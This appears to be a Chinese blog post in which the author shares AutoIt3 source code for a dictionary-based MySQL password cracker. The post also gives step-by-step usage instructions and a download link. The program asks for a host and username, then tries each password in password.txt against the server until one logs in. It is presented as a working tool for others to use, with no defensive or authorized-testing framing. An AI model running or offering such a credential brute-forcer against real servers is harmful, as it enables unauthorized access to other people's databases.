前段时间小站发了个暴力破解Mysql的程序,是基于php写的(PHP Mysql 密码暴力破解,修正版源码),效果不错,最近又在研究AutoIt3,就想利用Autoit3来写一个,于是便有了下面这段小程序。喜欢au3的朋友可以拿去玩玩,这个不是GUI模式的,GUI界面版的还在研究中,由于是初学者,研究进度比较慢。。事件模式还事的不是很明白。。

以下是源码:

#include <Array.au3>
#include <File.au3>
#include <EzMySql.au3>

Dim $host, $user, $pass
If Not FileExists("password.txt") Then
    MsgBox(64, "Error", "未找到字典文件password.txt")
    Exit
EndIf
$host = InputBox("提示信息", "请输入mysql主机地址,如localhost","localhost")
$user = InputBox("提示信息", "请输入mysql用户名,如root","root")
If @error Or $host = "" Or $user = "" Then
    MsgBox(16, "Error", "小弟弟,别忘了输入哦。")
    Exit
EndIf
_FileReadToArray("password.txt", $pass)
If @error Or $pass = "" Then
    MsgBox(16, "Error", "骗哥,字典为空的,我闪")
    Exit
EndIf
For $i = 1 To $pass[0] Step 1
    _crack()
Next
MsgBox(64, "破解结果", "密码未找到,请更换字典。")

Func _crack()
    _EzMySql_startup()
    $conn = _EzMySql_open($host, $user, $pass[$i], "", "3306")
    TrayTip("破解中,请稍候……", "正在破解" & $pass[$i], 2, 1)
    If $conn = 1 Then
        MsgBox(64, "破解结果", "密码破解成功,密码为:" & $pass[$i])
        Exit
    EndIf
    _EzMySql_Close()
    _EzMysql_ShutDown()
EndFunc   ;==>_crack

上几个图吧,有图有真相。


使用方法很简单:

1、本程序是基于字典的破解,字典文件为password.txt 请不要改动。

2、程序会自动提示你输入,首先当然是要破解的主机地址了。

3、其次是输入破解的用户名,然后就开始破解。

4、任务栏里会提示当前破解的密码。

5、破解完成会提示破解出来的密码。

程序下载地址:http://dl.dbank.com/c088qndoq3